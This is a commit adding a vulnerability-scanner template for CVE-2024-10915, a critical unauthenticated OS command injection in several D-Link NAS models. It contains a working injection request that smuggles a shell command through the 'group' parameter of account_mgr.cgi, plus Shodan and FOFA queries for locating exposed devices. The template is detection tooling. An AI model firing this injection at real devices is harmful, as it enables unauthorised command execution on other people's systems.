add CVE-2024-10915

patch-14
Kazgangap 2024-11-12 02:16:40 +03:00
parent 63b8abf5d8
commit ecf6547db3
1 changed files with 42 additions and 0 deletions

View File

@ -0,0 +1,42 @@
id: CVE-2024-10915
info:
name: D-Link NAS - Command Injection via Group Parameter
author: s4e-io
severity: critical
description: |
A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been rated as critical. Affected by this issue is the function cgi_user_add of the file /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. The manipulation of the argument group leads to os command injection.
reference:
- https://www.usom.gov.tr/bildirim/tr-24-1836
- https://nvd.nist.gov/vuln/detail/CVE-2024-10915
- https://netsecfish.notion.site/Command-Injection-Vulnerability-in-group-parameter-for-D-Link-NAS-12d6b683e67c803fa1a0c0d236c9a4c5?pvs=4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-10915
cwe-id: CWE-78,CWE-707
epss-score: 0.0408
epss-percentile: 0.92375
cpe: cpe:2.3:o:dlink:dns-320_firmware:*:*:*:*:*:*:*:*
metadata:
vendor: dlink
product: dns-320_firmware
shodan-query: http.html:"sharecenter"
fofa-query: body="sharecenter"
tags: cve,cve2024,dlink,sharecenter,rce
variables:
num: "{{rand_base(12)}}"
http:
- raw:
- |
GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=%27;echo%20{{num}};%27 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "{{num}}")'
- "status_code == 200"
condition: and